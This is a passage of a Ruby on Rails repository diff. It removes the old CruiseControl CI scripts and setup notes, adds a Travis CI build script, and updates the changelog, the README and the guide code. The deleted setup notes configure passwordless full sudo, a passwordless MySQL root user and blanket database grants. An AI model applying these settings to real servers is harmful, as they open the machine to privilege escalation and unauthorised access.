'false' - build_results[:activerecord_mysql] = rake 'mysql:rebuild_databases', 'mysql:test' - build_results[:activerecord_mysql_isolated] = rake 'mysql:rebuild_databases', 'mysql:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with MySQL2 IM enabled" - puts - ENV['IM'] = 'true' - build_results[:activerecord_mysql2] = rake 'mysql:rebuild_databases', 'mysql2:test' - build_results[:activerecord_mysql2_isolated] = rake 'mysql:rebuild_databases', 'mysql2:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with MySQL2 IM disabled" - puts - ENV['IM'] = 'false' - build_results[:activerecord_mysql2] = rake 'mysql:rebuild_databases', 'mysql2:test' - build_results[:activerecord_mysql2_isolated] = rake 'mysql:rebuild_databases', 'mysql2:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with PostgreSQL IM enabled" - puts - ENV['IM'] = 'true' - build_results[:activerecord_postgresql8] = rake 'postgresql:rebuild_databases', 'postgresql:test' - build_results[:activerecord_postgresql8_isolated] = rake 'postgresql:rebuild_databases', 'postgresql:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with PostgreSQL IM disabled" - puts - ENV['IM'] = 'false' - build_results[:activerecord_postgresql8] = rake 'postgresql:rebuild_databases', 'postgresql:test' - build_results[:activerecord_postgresql8_isolated] = rake 'postgresql:rebuild_databases', 'postgresql:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with SQLite 3 IM enabled" - puts - ENV['IM'] = 'true' - build_results[:activerecord_sqlite3] = rake 'sqlite3:test' - build_results[:activerecord_sqlite3_isolated] = rake 'sqlite3:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with SQLite 3 IM disabled" - puts - ENV['IM'] = 'false' - build_results[:activerecord_sqlite3] = rake 'sqlite3:test' - build_results[:activerecord_sqlite3_isolated] = rake 'sqlite3:isolated_test' -end - - -puts -puts "[CruiseControl] Build environment:" -puts "[CruiseControl] #{`cat /etc/issue`}" -puts "[CruiseControl] #{`uname -a`}" -puts "[CruiseControl] #{`ruby -v`}" -puts "[CruiseControl] #{`mysql --version`}" -puts "[CruiseControl] #{`pg_config --version`}" -puts "[CruiseControl] SQLite3: #{`sqlite3 -version`}" -`gem env`.each_line {|line| print "[CruiseControl] #{line}"} -puts "[CruiseControl] Bundled gems:" -`bundle show`.each_line {|line| print "[CruiseControl] #{line}"} -puts "[CruiseControl] Local gems:" -`gem list`.each_line {|line| print "[CruiseControl] #{line}"} - -failures = build_results.select { |key, value| value == false } - -if failures.empty? - puts - puts "[CruiseControl] Rails build finished sucessfully" - exit(0) -else - puts - puts "[CruiseControl] Rails build FAILED" - puts "[CruiseControl] Failed components: #{failures.map { |component| component.first }.join(', ')}" - exit(-1) -end - diff --git a/ci/ci_setup_notes.txt b/ci/ci_setup_notes.txt deleted file mode 100644 index 890f9e8ef6..0000000000 --- a/ci/ci_setup_notes.txt +++ /dev/null @@ -1,140 +0,0 @@ -# Rails Continuous Integration Server Setup Notes -# This procedure was used to set up http://ci.rubyonrails.org on Ubuntu 8.04 -# It can be used as a guideline for setting up your own CI server against your local rails branches - -* Set up ci user: -# log in as root -$ adduser ci -enter user info and password -$ visudo -# give ci user same sudo rights as root - -* Disable root login: -# log in as ci -$ sudo vi /etc/shadow -# overwrite and disable encrypted root password to disable root login: -root:*:14001:0:99999:7::: - -* Change Hostname: -$ sudo vi /etc/hostname -change to correct hostname -$ sudo vi /etc/hosts -replace old hostname with the correct hostname -# reboot to use new hostname (and test reboot) -$ sudo shutdown -r now - -* Update aptitude: -$ sudo aptitude update - -* Use cinabox to perform rest of ruby/ccrb setup: -* https://github.com/thewoolleyman/cinabox/tree/master/README.txt - -# This is not yet properly supported by RubyGems... -# * Configure RubyGems to not require root access for gem installation -# $ vi ~/.profile -# # add this line at bottom: -# PATH="$HOME/.gem/ruby/1.8/bin:$PATH" -# $ sudo vi /etc/init.d/cruise -# # edit the start_cruise line to source CRUISE_USER/.profile: -# start_cruise "cd #{CRUISE_HOME} && source /home/#{CRUISE_USER}/.profile && ./cruise start -d" -# $ vi ~/.gemrc -# # add these lines: -# --- -# gemhome: /home/ci/.gem/ruby/1.8 -# gempath: -# - /home/ci/.gem/ruby/1.8 - -* If you did not configure no-root-gem installation via ~/.gemrc as shown above, then allow no-password sudo for gem installation: -$ sudo visudo -# add this line to bottom: -ci ALL=(ALL) NOPASSWD: ALL - -* Start ccrb via init script and check for default homepage at port 3333 - -* Install/setup nginx: -$ sudo aptitude install nginx -$ sudo vi /etc/nginx/sites-available/default -# Add the following entry at the top of the file above the 'server {' line: -upstream mongrel { - server 127.0.0.1:3333; -} - -# Change server_name entry to match server name - -# replace the contents of the root 'location / {}' block with the following entries: - proxy_pass http://mongrel; - proxy_redirect off; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Client-Verify SUCCESS; - proxy_read_timeout 65; - -# also comment default locations for /doc and /images -$ sudo /etc/init.d/nginx start - -* Add project to cruise (It will still fail until everything is set up): -$ cd ~/ccrb -$ ./cruise add rails -s git -r git://github.com/rails/rails.git # or the URI of your branch - -* Copy and configure cruise site config file: -$ cp ~/.cruise/projects/rails/work/ci/site_config.rb ~/.cruise/site_config.rb -# Edit ~/.cruise/site_config.rb as desired, for example: -ActionMailer::Base.smtp_settings = { - :address => "localhost", - :domain => "ci.yourdomain.com", -} -Configuration.dashboard_refresh_interval = 60.seconds -Configuration.dashboard_url = 'http://ci.yourdomain.com/' -Configuration.serialize_builds = true -Configuration.serialized_build_timeout = 1.hours -BuildReaper.number_of_builds_to_keep = 100 - -* Copy and configure cruise project config file -$ cp ~/.cruise/projects/rails/work/ci/cruise_config.rb ~/.cruise/projects/rails -$ vi ~/.cruise/projects/rails/cruise_config.rb: -# Edit ~/.cruise/projects/rails/cruise_config.rb as desired, for example: -Project.configure do |project| - project.build_command = 'ruby ci/ci_build.rb' - project.email_notifier.emails = ['recipient@yourdomain.com'] - project.email_notifier.from = 'sender@yourdomain.com' -end - -* Set up mysql -$ sudo aptitude install mysql-server-5.0 libmysqlclient-dev -# no password for mysql root user - -* setup sqlite 3 -$ sudo aptitude install sqlite3 libsqlite3-dev -# Note: there's some installation bugs with sqlite3-ruby 1.2.2 gem file permissions: -# http://www.icoretech.org/2008/07/06/no-such-file-to-load-sqlite3-database -# cd /usr/local/lib/ruby/gems/1.8/gems/sqlite3-ruby-1.2.2 && sudo find . -perm 0662 -exec chmod 664 {} \; - -* setup postgres -$ sudo aptitude install postgresql postgresql-server-dev-8.3 -$ sudo su - postgres -c 'createuser -s ci' - -* Install fcgi libraries -$ sudo apt-get install libfcgi-dev - -* Install memcached and start for first time (should start on reboot automatically) -$ sudo aptitude install memcached -$ sudo /etc/init.d/memcached start - -* Install and run GemInstaller to get all dependency gems -$ sudo gem install geminstaller -$ cd ~/.cruise/projects/rails/work -$ sudo geminstaller --config=ci/geminstaller.yml # turn up debugging with these options: --geminstaller-output=all --rubygems-output=all - -* Create ActiveRecord test databases for mysql -$ mysql -uroot -e 'grant all on *.* to rails@localhost;' -$ mysql -urails -e 'create database activerecord_unittest;' -$ mysql -urails -e 'create database activerecord_unittest2;' - -* Create ActiveRecord test databases for postgres -# cd to rails activerecord dir -$ rake postgresql:build_databases - -* Reboot and make sure everything is working -$ sudo shutdown -r now -$ http://ci.yourdomain.com diff --git a/ci/cruise_config.rb b/ci/cruise_config.rb deleted file mode 100644 index 9c7fa98a70..0000000000 --- a/ci/cruise_config.rb +++ /dev/null @@ -1,9 +0,0 @@ -Project.configure do |project| - # Send email notifications about broken and fixed builds to core mailing list - if Socket.gethostname =~ /ci.rubyonrails.org/ && ENV['ENABLE_RAILS_CI_EMAILS'] == 'true' - project.email_notifier.emails = ['rubyonrails-core@googlegroups.com'] - end - - project.build_command = 'sudo gem update --system && ruby ci/ci_build.rb' - project.email_notifier.from = 'thewoolleyman@gmail.com' -end diff --git a/ci/site.css b/ci/site.css deleted file mode 100644 index e771c5d1fd..0000000000 --- a/ci/site.css +++ /dev/null @@ -1,13 +0,0 @@ -/* this is a copy of /home/ci/.cruise/site.css, please make any changes to it there */ - -/* this is a copy of /home/ci/.cruise/site.css, please make any changes to it there */ - -/* if you'd like to add custom styles to cruise, add them here */ -/* the following will make successful builds green */ -a.success, a.success:visited { - color: #0A0; -} - -.build_success { - background-image: url(/images/green_gradient.png); -} diff --git a/ci/site_config.rb b/ci/site_config.rb deleted file mode 100644 index 09d5b550e8..0000000000 --- a/ci/site_config.rb +++ /dev/null @@ -1,72 +0,0 @@ -# site_config.rb contains examples of various configuration options for the local installation -# of CruiseControl.rb. - -# YOU MUST RESTART YOUR CRUISE CONTROL SERVER FOR ANY CHANGES MADE HERE TO TAKE EFFECT!!! - -# EMAIL NOTIFICATION -# ------------------ - -# CruiseControl.rb can notify you about build status via email. It uses the Action Mailer component of Ruby on Rails -# framework. Obviously, Action Mailer needs to know how to send out email messages. -# If you have an SMTP server on your network, and it needs no authentication, write this in your site_config.rb: -# -ActionMailer::Base.smtp_settings = { - :address => "localhost", - :domain => "ci.rubyonrails.org", -} -# -# If you have no SMTP server at hand, you can configure email notification to use GMail SMTP server, as follows -# (of course, you'll need to create a GMail account): -# -# ActionMailer::Base.smtp_settings = { -# :address => "smtp.gmail.com", -# :port => 587, -# :domain => "yourdomain.com", -# :authentication => :plain, -# :user_name => "yourgmailaccount", -# :password => "yourgmailpassword" -# } -# -# The same approach works for other SMTP servers thet require authentication. Note that GMail's SMTP server runs on a -# non-standard port 587 (standard port for SMTP is 25). -# -# For further details about configuration of outgoing email, see Ruby On Rails documentation for ActionMailer::Base. - -# Other site-wide options are available through Configuration class: - -# Change how often CC.rb pings Subversion for new requests. Default is 10.seconds, which should be OK for a local -# SVN repository, but probably isn't very polite for a public repository, such as RubyForge. This can also be set for -# each project individually, through project.scheduler.polling_interval option: -# Configuration.default_polling_interval = 1.minute - -# How often the dashboard page refreshes itself. If you have more than 10-20 dashboards open, -# it is advisable to set it to something higher than the default 5 seconds: -Configuration.dashboard_refresh_interval = 60.seconds - -# Site-wide setting for the email "from" field. This can also be set on per-project basis, -# through project.email.notifier.from attribute -Configuration.email_from = 'thewoolleyman+railsci@gmail.com' - -# Root URL of the dashboard application. Setting this attribute allows various notifiers to include a link to the -# build page in the notification message. -Configuration.dashboard_url = 'http://ci.rubyonrails.org/' - -# If you don't want to allow triggering builds through dashboard Build Now button. Useful when you host CC.rb as a -# public web site (such as http://cruisecontrolrb.thoughtworks.com/projects - try clicking on Build Now button there -# and see what happens): -# Configuration.disable_build_now = true - -# If you want to only allow one project to build at a time, uncomment this line -# by default, cruise allows multiple projects to build at a time -Configuration.serialize_builds = true - -# Amount of time a project will wait to build before failing when build serialization is on -Configuration.serialized_build_timeout = 3.hours - -# To delete build when there are more than a certain number present, uncomment this line - it will make the dashboard -# perform better -BuildReaper.number_of_builds_to_keep = 100 - -# any files that you'd like to override in cruise, keep in ~/.cruise, and copy over when this file is loaded like this -site_css = CRUISE_DATA_ROOT + "/site.css" -FileUtils.cp site_css, Rails.root + "/public/stylesheets/site.css" if File.exists? site_css diff --git a/ci/travis.rb b/ci/travis.rb new file mode 100755 index 0000000000..8087c72f90 --- /dev/null +++ b/ci/travis.rb @@ -0,0 +1,142 @@ +#!/usr/bin/env ruby +require 'fileutils' +include FileUtils + +commands = [ + 'mysql -e "create database activerecord_unittest;"', + 'mysql -e "create database activerecord_unittest2;"', + 'psql -c "create database activerecord_unittest;" -U postgres', + 'psql -c "create database activerecord_unittest2;" -U postgres' +] + +commands.each do |command| + system("#{command} > /dev/null 2>&1") +end + +class Build + MAP = { + 'railties' => 'railties', + 'ap' => 'actionpack', + 'am' => 'actionmailer', + 'amo' => 'activemodel', + 'ares' => 'activeresource', + 'as' => 'activesupport', + 'ar' => 'activerecord' + } + + attr_reader :component, :options + + def initialize(component, options = {}) + @component = component + @options = options + end + + def run!(options = {}) + self.options.update(options) + Dir.chdir(dir) do + announce(heading) + ENV['IM'] = identity_map?.inspect + rake(*tasks) + end + end + + def announce(heading) + puts "\n\e[1;33m[Travis CI] #{heading}\e[m\n" + end + + def heading + heading = [gem] + heading << "with #{adapter} IM #{identity_map? ? 'enabled' : 'disabled'}" if activerecord? + heading << "in isolation" if isolated? + heading.join(' ') + end + + def tasks + if activerecord? + ['mysql:rebuild_databases', "#{adapter}:#{'isolated_' if isolated?}test"] + else + ["test#{':isolated' if isolated?}"] + end + end + + def key + key = [gem] + key << adapter if activerecord? + key << 'IM' if identity_map? + key << 'isolated' if isolated? + key.join(':') + end + + def activerecord? + gem == 'activerecord' + end + + def identity_map? + options[:identity_map] + end + + def isolated? + options[:isolated] + end + + def gem + MAP[component.split(':').first] + end + alias :dir :gem + + def adapter + component.split(':').last + end + + def rake(*tasks) + tasks.each do |task| + cmd = "bundle exec rake #{task}" + puts "Running command: #{cmd}" + return false unless system(cmd) + end + true + end +end + +results = {} + +ENV['GEM'].split(',').each do |gem| + [false, true].each do |isolated| + next if gem == 'railties' && isolated + + build = Build.new(gem, :isolated => isolated) + results[build.key] = build.run! + + if build.activerecord? + build.options[:identity_map] = true + results[build.key] = build.run! + end + end +end + +# puts +# puts "Build environment:" +# puts " #{`cat /etc/issue`}" +# puts " #{`uname -a`}" +# puts " #{`ruby -v`}" +# puts " #{`mysql --version`}" +# # puts " #{`pg_config --version`}" +# puts " SQLite3: #{`sqlite3 -version`}" +# `gem env`.each_line {|line| print " #{line}"} +# puts " Bundled gems:" +# `bundle show`.each_line {|line| print " #{line}"} +# puts " Local gems:" +# `gem list`.each_line {|line| print " #{line}"} + +failures = results.select { |key, value| value == false } + +if failures.empty? + puts + puts "Rails build finished sucessfully" + exit(true) +else + puts + puts "Rails build FAILED" + puts "Failed components: #{failures.map { |component| component.first }.join(', ')}" + exit(false) +end diff --git a/load_paths.rb b/load_paths.rb index 15345e31e3..17f5ce180d 100644 --- a/load_paths.rb +++ b/load_paths.rb @@ -1,9 +1,4 @@ # bust gem prelude -if defined? Gem - Gem.source_index - gem 'bundler' -else - require 'rubygems' -end +require 'rubygems' unless defined? Gem require 'bundler' Bundler.setup
\ No newline at end of file diff --git a/rails.gemspec b/rails.gemspec index 4ee814c507..3377b4e175 100644 --- a/rails.gemspec +++ b/rails.gemspec @@ -13,10 +13,9 @@ Gem::Specification.new do |s| s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' s.homepage = 'http://www.rubyonrails.org' - s.rubyforge_project = 'rails' s.bindir = 'bin' - s.executables = ['rails'] + s.executables = [] s.add_dependency('activesupport', version) s.add_dependency('actionpack', version) diff --git a/railties/CHANGELOG b/railties/CHANGELOG index c465b08594..404bc73b0b 100644 --- a/railties/CHANGELOG +++ b/railties/CHANGELOG @@ -1,18 +1,64 @@ -*Rails 3.1.0 (unreleased)* +*Rails 3.2.0 (unreleased)* -* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. [fxn] +* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box. [José Valim] + +* Updated Rails::Rack::Logger middleware to apply any tags set in config.log_tags to the newly ActiveSupport::TaggedLogging Rails.logger. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications [DHH] + +* Default options to `rails new` can be set in ~/.railsrc [Guillermo Iguaran] + +* Added destroy alias to Rails engines. [Guillermo Iguaran] + +* Added destroy alias for Rails command line. This allows the following: `rails d model post`. [Andrey Ognevsky] + +* Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" [José Valim] + +* Removed old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command. [Guillermo Iguaran] + +* Removed old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API. [Guillermo Iguaran] + + +*Rails 3.1.1 + +* Add jquery-rails to Gemfile of plugins, test/dummy app needs it. Closes #3091. [Santiago Pastorino] + +* Add config.assets.initialize_on_precompile which, when set to false, forces + `rake assets:precompile` to load the application but does not initialize it. -* Fixed database tasks for jdbc* adapters #jruby + To the app developer, this means configuration add in + config/initializers/* will not be executed. - [Rashmi Yadav] + Plugins developers need to special case their initializers that are + meant to be run in the assets group by adding :group => :assets. -* Template generation for jdbcpostgresql #jruby - [Vishnu Atrai] +*Rails 3.1.0 (August 30, 2011)* + +* The default database schema file is written as UTF-8. [Aaron Patterson] + +* Generated apps with --dev or --edge flags depend on git versions of +sass-rails and coffee-rails. [Santiago Pastorino] + +* Rack::Sendfile middleware is used only if x_sendfile_header is present. [Santiago Pastorino] + +* Add JavaScript Runtime name to the Rails Info properties. [DHH] + +* Make pp enabled by default in Rails console. [Akira Matsuda] + +* Add alias `r` for rails runner. [Jordi Romero] + +* Make sprockets/railtie require explicit and add --skip-sprockets to app generator [José Valim] + +* Added Rails.groups that automatically handles Rails.env and ENV["RAILS_GROUPS"] [José Valim] + +* The new rake task assets:clean removes precompiled assets. [fxn] + +* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. [fxn] + +* Fixed database tasks for jdbc* adapters #jruby [Rashmi Yadav] -* Template generation for jdbcmysql and jdbcsqlite3 #jruby +* Template generation for jdbcpostgresql #jruby [Vishnu Atrai] - [Arun Agrawal] +* Template generation for jdbcmysql and jdbcsqlite3 #jruby [Arun Agrawal] * The -j option of the application generator accepts an arbitrary string. If passed "foo", the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest diff --git a/railties/README.rdoc b/railties/README.rdoc index 0457227473..ae40600401 100644 --- a/railties/README.rdoc +++ b/railties/README.rdoc @@ -1,26 +1,35 @@ = Railties -- Gluing the Engine to the Rails -Railties is responsible to glue all frameworks together. Overall, it: +Railties is responsible for gluing all frameworks together. Overall, it: -* handles all the bootstrapping process for a Rails application; +* handles the bootstrapping process for a Rails application; -* manages rails command line interface; +* manages the +rails+ command line interface; -* provides Rails generators core; +* and provides the Rails generators core. == Download -The latest version of Railties can be installed with Rubygems: +The latest version of Railties can be installed with RubyGems: * gem install railties -Documentation can be found at - -* http://api.rubyonrails.org +Source code can be downloaded as part of the Rails project on GitHub +* https://github.com/rails/rails/tree/master/railties == License Railties is released under the MIT license. +== Support + +API documentation is at + +* http://api.rubyonrails.org + +Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here: + +* https://github.com/rails/rails/issues + diff --git a/railties/Rakefile b/railties/Rakefile index 827b2ba0cd..25e515e016 100755 --- a/railties/Rakefile +++ b/railties/Rakefile @@ -1,6 +1,6 @@ #!/usr/bin/env rake require 'rake/testtask' -require 'rake/gempackagetask' +require 'rubygems/package_task' require 'date' require 'rbconfig' @@ -17,8 +17,13 @@ namespace :test do dir = ENV["TEST_DIR"] || "**" Dir["test/#{dir}/*_test.rb"].each do |file| next true if file.include?("fixtures") - ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME')) - sh(ruby, '-Itest', "-I#{File.dirname(__FILE__)}/../activesupport/lib", file) + dash_i = [ + 'test', + 'lib', + "#{File.dirname(__FILE__)}/../activesupport/lib", + "#{File.dirname(__FILE__)}/../actionpack/lib" + ] + ruby "-I#{dash_i.join ':'}", file end end end @@ -55,7 +60,7 @@ end spec = eval(File.read('railties.gemspec')) -Rake::GemPackageTask.new(spec) do |pkg| +Gem::PackageTask.new(spec) do |pkg| pkg.gem_spec = spec end diff --git a/railties/bin/rails b/railties/bin/rails new file mode 100755 index 0000000000..a1c4faaa73 --- /dev/null +++ b/railties/bin/rails @@ -0,0 +1,7 @@ +#!/usr/bin/env ruby + +if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git')) + railties_path = File.expand_path('../../lib', __FILE__) + $:.unshift(railties_path) +end +require "rails/cli" diff --git a/railties/guides/assets/images/i18n/demo_html_safe.png b/railties/guides/assets/images/i18n/demo_html_safe.png Binary files differnew file mode 100644 index 0000000000..f881f60dac --- /dev/null +++ b/railties/guides/assets/images/i18n/demo_html_safe.png diff --git a/railties/guides/assets/images/radar.png b/railties/guides/assets/images/radar.png Binary files differnew file mode 100644 index 0000000000..f61e08763f --- /dev/null +++ b/railties/guides/assets/images/radar.png diff --git a/railties/guides/assets/images/rails_welcome.png b/railties/guides/assets/images/rails_welcome.png Binary files differindex 0e02cf5a8c..f2aa210d19 100644 --- a/railties/guides/assets/images/rails_welcome.png +++ b/railties/guides/assets/images/rails_welcome.png diff --git a/railties/guides/assets/images/vijaydev.jpg b/railties/guides/assets/images/vijaydev.jpg Binary files differnew file mode 100644 index 0000000000..e21d3cabfc --- /dev/null +++ b/railties/guides/assets/images/vijaydev.jpg diff --git a/railties/guides/code/getting_started/Gemfile b/railties/guides/code/getting_started/Gemfile new file mode 100644 index 0000000000..898510dcaa --- /dev/null +++ b/railties/guides/code/getting_started/Gemfile @@ -0,0 +1,27 @@ +source 'http://rubygems.org' + +gem 'rails', '3.1.0' +# Bundle edge Rails instead: +# gem 'rails', :git => 'git://github.com/rails/rails.git' + +gem 'sqlite3' + + +# Gems used only for assets and not required +# in production environments by default. +group :assets do + gem 'sass-rails', " ~> 3.1.0" + gem 'coffee-rails', "~> 3.1.0" + gem 'uglifier' +end + +gem 'jquery-rails' + +# Use unicorn as the web server +# gem 'unicorn' + +# Deploy with Capistrano +# gem 'capistrano' + +# To use debugger +# gem 'ruby-debug19', :require => 'ruby-debug' diff --git a/railties/guides/code/getting_started/README b/railties/guides/code/getting_started/README new file mode 100644 index 0000000000..7c36f2356e --- /dev/null +++ b/railties/guides/code/getting_started/README @@ -0,0 +1,261 @@ +== Welcome to Rails + +Rails is a web-application framework that includes everything needed to create +database-backed web applications according to the Model-View-Control pattern. + +This pattern splits the view (also called the presentation) into "dumb" +templates that are primarily responsible for inserting pre-built data in between +HTML tags. The model contains the "smart" domain objects (such as Account, +Product, Person, Post) that holds all the business logic and knows how to +persist themselves to a database. The controller handles the incoming requests +(such as Save New Account, Update Product, Show Post) by manipulating the model +and directing data to the view. + +In Rails, the model is handled by what's called an object-relational mapping +layer entitled Active Record. This layer allows you to present the data from +database rows as objects and embellish these data objects with business logic +methods. You can read more about Active Record in +link:files/vendor/rails/activerecord/README.html. + +The controller and view are handled by the Action Pack, which handles both +layers by its two parts: Action View and Action Controller. These two layers +are bundled in a single package due to their heavy interdependence. This is +unlike the relationship between the Active Record and Action Pack that is much +more separate. Each of these packages can be used independently outside of +Rails. You can read more about Action Pack in +link:files/vendor/rails/actionpack/README.html. + + +== Getting Started + +1. At the command prompt, create a new Rails application: + <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name) + +2. Change directory to <tt>myapp</tt> and start the web server: + <tt>cd myapp; rails server</tt> (run with --help for options) + +3. Go to http://localhost:3000/ and you'll see: + "Welcome aboard: You're riding Ruby on Rails!" + +4. Follow the guidelines to start developing your application. You can find +the following resources handy: + +* The Getting Started Guide: http://guides.rubyonrails.org/getting_started.html +* Ruby on Rails Tutorial Book: http://www.railstutorial.org/ + + +== Debugging Rails + +Sometimes your application goes wrong. Fortunately there are a lot of tools that +will help you debug it and get it back on the rails. + +First area to check is the application log files. Have "tail -f" commands +running on the server.log and development.log. Rails will automatically display +debugging and runtime information to these files. Debugging info will also be +shown in the browser on requests from 127.0.0.1. + +You can also log your own messages directly into the log file from your code +using the Ruby logger class from inside your controllers. Example: + + class WeblogController < ActionController::Base + def destroy + @weblog = Weblog.find(params[:id]) + @weblog.destroy + logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!") + end + end + +The result will be a message in your log file along the lines of: + + Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1! + +More information on how to use the logger is at http://www.ruby-doc.org/core/ + +Also, Ruby documentation can be found at http://www.ruby-lang.org/. There are +several books available online as well: + +* Programming Ruby: http://www.ruby-doc.org/docs/ProgrammingRuby/ (Pickaxe) +* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide) + +These two books will bring you up to speed on the Ruby language and also on +programming in general. + + +== Debugger + +Debugger support is available through the debugger command when you start your +Mongrel or WEBrick server with --debugger. This means that you can break out of +execution at any point in the code, investigate and change the model, and then, +resume execution! You need to install ruby-debug to run the server in debugging +mode. With gems, use <tt>sudo gem install ruby-debug</tt>. Example: + + class WeblogController < ActionController::Base + def index + @posts = Post.all + debugger + end + end + +So the controller will accept the action, run the first line, then present you +with a IRB prompt in the server window. Here you can do things like: + + >> @posts.inspect + => "[#<Post:0x14a6be8 + @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>, + #<Post:0x14a6620 + @attributes={"title"=>"Rails", "body"=>"Only ten..", "id"=>"2"}>]" + >> @posts.first.title = "hello from a debugger" + => "hello from a debugger" + +...and even better, you can examine how your runtime objects actually work: + + >> f = @posts.first + => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}> + >> f. + Display all 152 possibilities? (y or n) + +Finally, when you're ready to resume execution, you can enter "cont". + + +== Console + +The console is a Ruby shell, which allows you to interact with your +application's domain model. Here you'll have all parts of the application +configured, just like it is when the application is running. You can inspect +domain models, change values, and save to the database. Starting the script +without arguments will launch it in the development environment. + +To start the console, run <tt>rails console</tt> from the application +directory. + +Options: + +* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications + made to the database. +* Passing an environment name as an argument will load the corresponding + environment. Example: <tt>rails console production</tt>. + +To reload your controllers and models after launching the console run +<tt>reload!</tt> + +More information about irb can be found at: +link:http://www.rubycentral.org/pickaxe/irb.html + + +== dbconsole + +You can go to the command line of your database directly through <tt>rails +dbconsole</tt>. You would be connected to the database with the credentials +defined in database.yml. Starting the script without arguments will connect you +to the development database. Passing an argument will connect you to a different +database, like <tt>rails dbconsole production</tt>. Currently works for MySQL, +PostgreSQL and SQLite 3. + +== Description of Contents + +The default directory structure of a generated Ruby on Rails application: + + |-- app + | |-- assets + | |-- images + | |-- javascripts + | `-- stylesheets + | |-- controllers + | |-- helpers + | |-- mailers + | |-- models + | `-- views + | `-- layouts + |-- config + | |-- environments + | |-- initializers + | `-- locales + |-- db + |-- doc + |-- lib + | `-- tasks + |-- log + |-- public + |-- script + |-- test + | |-- fixtures + | |-- functional + | |-- integration + | |-- performance + | `-- unit + |-- tmp + | |-- cache + | |-- pids + | |-- sessions + | `-- sockets + `-- vendor + |-- assets + `-- stylesheets + `-- plugins + +app + Holds all the code that's specific to this particular application. + +app/assets + Contains subdirectories for images, stylesheets, and JavaScript files. + +app/controllers + Holds controllers that should be named like weblogs_controller.rb for + automated URL mapping. All controllers should descend from + ApplicationController which itself descends from ActionController::Base. + +app/models + Holds models that should be named like post.rb. Models descend from + ActiveRecord::Base by default. + +app/views + Holds the template files for the view that should be named like + weblogs/index.html.erb for the WeblogsController#index action. All views use + eRuby syntax by default. + +app/views/layouts + Holds the template files for layouts to be used with views. This models the + common header/footer method of wrapping views. In your views, define a layout + using the <tt>layout :default</tt> and create a file named default.html.erb. + Inside default.html.erb, call <% yield %> to render the view using this + layout. + +app/helpers + Holds view helpers that should be named like weblogs_helper.rb. These are + generated for you automatically when using generators for controllers. + Helpers can be used to wrap functionality for your views into methods. + +config + Configuration files for the Rails environment, the routing map, the database, + and other dependencies. + +db + Contains the database schema in schema.rb. db/migrate contains all the + sequence of Migrations for your schema. + +doc + This directory is where your application documentation will be stored when + generated using <tt>rake doc:app</tt> + +lib + Application specific libraries. Basically, any kind of custom code that + doesn't belong under controllers, models, or helpers. This directory is in + the load path. + +public + The directory available for the web server. Also contains the dispatchers and the + default HTML files. This should be set as the DOCUMENT_ROOT of your web + server. + +script + Helper scripts for automation and generation. + +test + Unit and functional tests along with fixtures. When using the rails generate + command, template test files will be generated for you and placed in this + directory. + +vendor + External libraries that the application depends on. Also includes the plugins + subdirectory. If the app has frozen rails, those gems also go here, under + vendor/rails/. This directory is in the load path. diff --git a/railties/guides/code/getting_started/Rakefile b/railties/guides/code/getting_started/Rakefile new file mode 100644 index 0000000000..e1d1ec8615 --- /dev/null +++ b/railties/guides/code/getting_started/Rakefile @@ -0,0 +1,7 @@ +#!/usr/bin/env rake +# Add your own tasks in files placed in lib/tasks ending in .rake, +# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. + +require File.expand_path('../config/application', __FILE__) + +Blog::Application.load_tasks diff --git a/railties/guides/code/getting_started/app/assets/images/rails.png b/railties/guides/code/getting_started/app/assets/images/rails.png Binary files differnew file mode 100644 index 0000000000..d5edc04e65 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/images/rails.png diff --git a/railties/guides/code/getting_started/app/assets/javascripts/application.js b/railties/guides/code/getting_started/app/assets/javascripts/application.js new file mode 100644 index 0000000000..37c7bfcdb5 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/application.js @@ -0,0 +1,9 @@ +// This is a manifest file that'll be compiled into including all the files listed below. +// Add new JavaScript/Coffee code in separate files in this directory and they'll automatically +// be included in the compiled file accessible from http://example.com/assets/application.js +// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the +// the compiled file. +// +//= require jquery +//= require jquery_ujs +//= require_tree . diff --git a/railties/lib/rails/generators/rails/assets/templates/javascript.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee index 761567942f..761567942f 100644 --- a/railties/lib/rails/generators/rails/assets/templates/javascript.js.coffee +++ b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee diff --git a/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee new file mode 100644 index 0000000000..761567942f --- /dev/null +++ 